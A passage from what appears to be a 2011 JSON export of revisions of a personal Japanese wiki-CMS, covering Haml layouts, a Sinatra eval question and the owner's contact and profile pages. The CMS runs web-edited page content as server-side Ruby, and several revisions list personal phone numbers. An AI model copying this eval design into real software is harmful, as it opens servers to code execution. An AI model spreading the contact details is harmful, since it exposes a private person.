のコードを評価するやつを作った\"\r\nstr += \"\u003cbr /\u003e\r\nstr += \"あなたの IP アドレスは #{request.ip} です\"","created_at":"2011-06-07T14:14:03.000Z","updated_at":"2011-06-07T14:14:03.000Z"},{"id":1707,"name":"ruby","body":"ruby\r\nstr = \"ruby のコードを評価するやつを作った\"\r\nstr += \"\u003cbr /\u003e\r\nstr += \"あなたの IP アドレスは #{request.ip} です\"","created_at":"2011-06-07T14:14:17.000Z","updated_at":"2011-06-07T14:14:17.000Z"},{"id":1708,"name":"ruby","body":"ruby\r\nstr = \"ruby のコードを評価するやつを作った\"\r\nstr += \"\u003cbr /\u003e\r\nstr += \"あなたの IP アドレスは #{request.ip} です\"\r\nstr","created_at":"2011-06-07T14:15:09.000Z","updated_at":"2011-06-07T14:15:09.000Z"},{"id":1709,"name":"ruby","body":"ruby\r\nstr = \"ruby のコードを評価するやつを作った\"\r\nstr += \"\u003cbr /\u003e\"\r\nstr += \"あなたの IP アドレスは #{request.ip} です\"\r\nstr","created_at":"2011-06-07T14:15:22.000Z","updated_at":"2011-06-07T14:15:22.000Z"},{"id":1710,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただ Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %p 頭に raw でいれたものをそのまま吐きます。 js をアップロードしたり貼ったりしたい時に便利。\r\n\r\n %p 頭に ruby で ruby のコードとして評価した結果を返す。何かに使えて便利。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T14:19:00.000Z","updated_at":"2011-06-07T14:19:00.000Z"},{"id":1711,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n-# ぺぽぽ","created_at":"2011-06-07T14:21:35.000Z","updated_at":"2011-06-07T14:21:35.000Z"},{"id":1712,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n#ぺぽぽ","created_at":"2011-06-07T14:22:07.000Z","updated_at":"2011-06-07T14:22:07.000Z"},{"id":1713,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n/ ぺぽぽ","created_at":"2011-06-07T14:23:21.000Z","updated_at":"2011-06-07T14:23:21.000Z"},{"id":1714,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T14:23:38.000Z","updated_at":"2011-06-07T14:23:38.000Z"},{"id":1715,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T14:30:59.000Z","updated_at":"2011-06-07T14:30:59.000Z"},{"id":1716,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n-# ぺぽぽー","created_at":"2011-06-07T14:31:22.000Z","updated_at":"2011-06-07T14:31:22.000Z"},{"id":1717,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\u003c!-- layout from Database --\u003e","created_at":"2011-06-07T14:32:02.000Z","updated_at":"2011-06-07T14:32:02.000Z"},{"id":1718,"name":"ToDo","body":"# ToDo\r\n## Fastladder の Rails3 へのアップグレード\r\n## MOU 解約\r\n## AU 解約\r\n## このサイトの CMS を整理して一般公開","created_at":"2011-06-07T14:33:03.000Z","updated_at":"2011-06-07T14:33:03.000Z"},{"id":1719,"name":"source/edit.haml","body":"raw\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:captures].first.to_s}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n %form{:action =\u003e \"/usr2\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n","created_at":"2011-06-07T15:10:21.000Z","updated_at":"2011-06-07T15:10:21.000Z"},{"id":1720,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただの Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %p 頭に raw でいれたものをそのまま吐きます。 js をアップロードしたり貼ったりしたい時に便利。\r\n\r\n %p 頭に ruby で ruby のコードとして評価した結果を返す。何かに使えて便利。\r\n\r\n %p 以下のソースを読めば分かると思いますが、 \u003ca href='source/app.r'\u003e/source/app.rb\u003c/a\u003e にソースがある場合はそれを使います。ソースすらサイトから更新出来るようにした。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T15:23:10.000Z","updated_at":"2011-06-07T15:23:10.000Z"},{"id":1721,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただの Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %p 頭に raw でいれたものをそのまま吐きます。 js をアップロードしたり貼ったりしたい時に便利。\r\n\r\n %p 頭に ruby で ruby のコードとして評価した結果を返す。何かに使えて便利。\r\n\r\n %p 以下のソースを読めば分かると思いますが、 \u003ca href='source/app.rb'\u003e/source/app.rb\u003c/a\u003e にソースがある場合はそれを使います。ソースすらサイトから更新出来るようにした。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T15:23:22.000Z","updated_at":"2011-06-07T15:23:22.000Z"},{"id":1722,"name":"Sinatraについての悩み","body":"# Sinatra について悩んでいること\r\n\r\n``` ruby\r\nrequire \"sinatra\"\r\n\r\neval \u003c\u003cEOS\r\nget \"/\" do\r\n erb :\"index\"\r\nend\r\n\r\n__END__\r\n@@ index\r\n\u003ch1\u003eFUCK\u003c/h1\u003e\r\n\r\nEOS\r\n__END__\r\n\r\n@@ index\r\n\u003ch1\u003eSHIT\u003c/h1\u003e\r\n```\r\n\r\nってコードを書いて / にアクセスすると SHIT って大々的に表示されるのだけど、これを上手いとこやって FUCK って表示されるようにしたい(eval の中に書いたテンプレを使いたい)。","created_at":"2011-06-07T15:58:31.000Z","updated_at":"2011-06-07T15:58:31.000Z"},{"id":1723,"name":"Sinatraについての悩み","body":"# Sinatra について悩んでいること\r\n\r\n``` ruby\r\nrequire \"sinatra\"\r\n\r\neval \u003c\u003cEOS\r\nget \"/\" do\r\n erb :\"index\"\r\nend\r\n\r\n__END__\r\n@@ index\r\n\u003ch1\u003eFUCK\u003c/h1\u003e\r\n\r\nEOS\r\n__END__\r\n\r\n@@ index\r\n\u003ch1\u003eSHIT\u003c/h1\u003e\r\n```\r\n\r\nってコードを書いて / にアクセスすると SHIT って大々的に表示されるのだけど、これを上手いとこやって FUCK って表示されるようにしたい(eval の中に書いたテンプレを使いたい)。\r\n\r\n諸事情あって eval の外の __END__ の中のテンプレは消せないし、 eval の中の __END__ の下のテンプレを使いたい。","created_at":"2011-06-07T15:59:17.000Z","updated_at":"2011-06-07T15:59:17.000Z"},{"id":1724,"name":"Sinatraについての悩み","body":"# Sinatra について悩んでいること\r\n\r\n``` ruby\r\nrequire \"sinatra\"\r\n\r\neval \u003c\u003cEOS\r\nget \"/\" do\r\n erb :\"index\"\r\nend\r\n\r\n__END__\r\n@@ index\r\n\u003ch1\u003eFUCK\u003c/h1\u003e\r\n\r\nEOS\r\n__END__\r\n\r\n@@ index\r\n\u003ch1\u003eSHIT\u003c/h1\u003e\r\n```\r\n\r\nってコードを書いて / にアクセスすると SHIT って大々的に表示されるのだけど、これを上手いとこやって FUCK って表示されるようにしたい(eval の中に書いたテンプレを使いたい)。\r\n\r\n諸事情あって eval の外の \\_\\_END\\_\\_ の中のテンプレは消せないし、 eval の中の __END__ の下のテンプレを使いたい。","created_at":"2011-06-07T15:59:40.000Z","updated_at":"2011-06-07T15:59:40.000Z"},{"id":1725,"name":"Sinatraについての悩み","body":"# Sinatra について悩んでいること\r\n\r\n``` ruby\r\nrequire \"sinatra\"\r\n\r\neval \u003c\u003cEOS\r\nget \"/\" do\r\n erb :\"index\"\r\nend\r\n\r\n__END__\r\n@@ index\r\n\u003ch1\u003eFUCK\u003c/h1\u003e\r\n\r\nEOS\r\n__END__\r\n\r\n@@ index\r\n\u003ch1\u003eSHIT\u003c/h1\u003e\r\n```\r\n\r\nってコードを書いて / にアクセスすると SHIT って大々的に表示されるのだけど、これを上手いとこやって FUCK って表示されるようにしたい(eval の中に書いたテンプレを使いたい)。\r\n\r\n諸事情あって eval の外の \\_\\_END\\_\\_ の中のテンプレは消せないし、 eval の中の \\_\\_END\\_\\_ の下のテンプレを使いたい。","created_at":"2011-06-07T15:59:49.000Z","updated_at":"2011-06-07T15:59:49.000Z"},{"id":1726,"name":"連絡先","body":"# ssig33 の連絡先\r\nいきなり電話されるとちょっとびっくりします。なるべくメール twitter その他でやってくれると嬉しいです。\r\n\r\n## Twitter\r\n@ssig33 です。 @ をつけると携帯に転送されるので高確率で気付きます。\r\n\r\n## メール\r\nmail@ssig33.com に特別の事情が無い限り送ってください。\r\n\r\n*@ssig33.com 宛のメールは全て僕の携帯電話に直接届きます。携帯電話は二台持っていてどちらにも届くので到達率はかなり高いでしょう。\r\n\r\n携帯に届くとはいえ結構返事が遅いことが多いです。筆無精です。ごめんなさい。\r\n\r\n## メッセンジャー\r\nSkype ぐらいしか起動してません。 skype id は ssig33 です。 Skype 結構気付かないこと多いです。\r\n\r\n## IRC\r\nircnet や freenode にいます。 #Twitter@ircnet で ssig33 とか ssig34 とかいうのがいれば多分僕です。 sakura の VPS から繋いでます。 \r\n\r\n## 電話\r\n090-1450-2501 にかけてもらえると一番とりやすいです。こいつのキャリアは DoCoMo です。\r\n\r\n## for iPhone User\r\niPhone ユーザーは SMS でやり取りするのが一番楽だと思います。僕は iPhone も持っていますので、 080-4134-9835 宛に SMS を送ってもらえると届きます。\r\n\r\nもしこれを読んでいるのが 2011 年 7 月 13 日以降ならば 090-1450-2501 にどのキャリアからでも SMS が届くでしょう。\r\n\r\n## Facebook\r\nhttp://facebook.com/ssig33 です。リクエストが来ても誰だか分からなかった場合は弾きます。ごめんなさい。\r\n\r\n## まとめ\r\n- 急ぎじゃない場合は Twitter で @ するか mail@ssig33.com にメール。\r\n- 急ぎの場合は 090-1450-2501 に電話\r\n- iPhone から SMS を送りたい場合は 080-4134-9835 宛に\r\n- Skype は放置されます","created_at":"2011-06-09T08:54:42.000Z","updated_at":"2011-06-09T08:54:42.000Z"},{"id":1727,"name":"連絡先","body":"# ssig33 の連絡先\r\nいきなり電話されるとちょっとびっくりします。なるべくメール twitter その他でやってくれると嬉しいです。\r\n\r\n## Twitter\r\n@ssig33 です。 @ をつけると携帯に転送されるので高確率で気付きます。\r\n\r\n## メール\r\nmail@ssig33.com に特別の事情が無い限り送ってください。\r\n\r\n*@ssig33.com 宛のメールは全て僕の携帯電話に直接届きます。携帯電話は二台持っていてどちらにも届くので到達率はかなり高いでしょう。\r\n\r\n携帯に届くとはいえ結構返事が遅いことが多いです。筆無精です。ごめんなさい。\r\n\r\n## メッセンジャー\r\nSkype ぐらいしか起動してません。 skype id は ssig33 です。 Skype 結構気付かないこと多いです。\r\n\r\n## IRC\r\nircnet や freenode にいます。 #Twitter@ircnet で ssig33 とか ssig34 とかいうのがいれば多分僕です。 sakura の VPS から繋いでます。 \r\n\r\n## 電話\r\n090-1450-2501 にかけてもらえると一番とりやすいです。こいつのキャリアは DoCoMo です。\r\n\r\n## for iPhone User\r\niPhone ユーザーは SMS でやり取りするのが一番楽だと思います。僕は iPhone も持っていますので、 080-4134-9835 宛に SMS を送ってもらえると届きます。\r\n\r\nもしこれを読んでいるのが 2011 年 7 月 13 日以降ならば 090-1450-2501 にどのキャリアからでも SMS が届くでしょう。そっちに送ってくれた方が反応しやすいです。\r\n\r\n## Facebook\r\nhttp://facebook.com/ssig33 です。リクエストが来ても誰だか分からなかった場合は弾きます。ごめんなさい。\r\n\r\n## まとめ\r\n- 急ぎじゃない場合は Twitter で @ するか mail@ssig33.com にメール。\r\n- 急ぎの場合は 090-1450-2501 に電話\r\n- iPhone から SMS を送りたい場合は 080-4134-9835 宛に\r\n- Skype は放置されます","created_at":"2011-06-09T08:55:40.000Z","updated_at":"2011-06-09T08:55:40.000Z"},{"id":1728,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-06-09T09:00:48.000Z","updated_at":"2011-06-09T09:00:48.000Z"},{"id":1729,"name":"others","body":"## ssig33.com other contents\r\n[連絡先](/連絡先)\r\n\r\n[女川町の様子](/onagawa)\r\n\r\n[Please](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Sitemap](/sitemap)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2011-06-09T09:01:20.000Z","updated_at":"2011-06-09T09:01:20.000Z"},{"id":1730,"name":"ruby/create_database","body":"ruby\r\n# vim:set ft=ruby:\r\nsql =\u003c\u003cEOS\r\nCREATE TABLE \"stores\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"key\" varchar(255), \"body\" blob, \"created_at\" datetime, \"updated_at\" 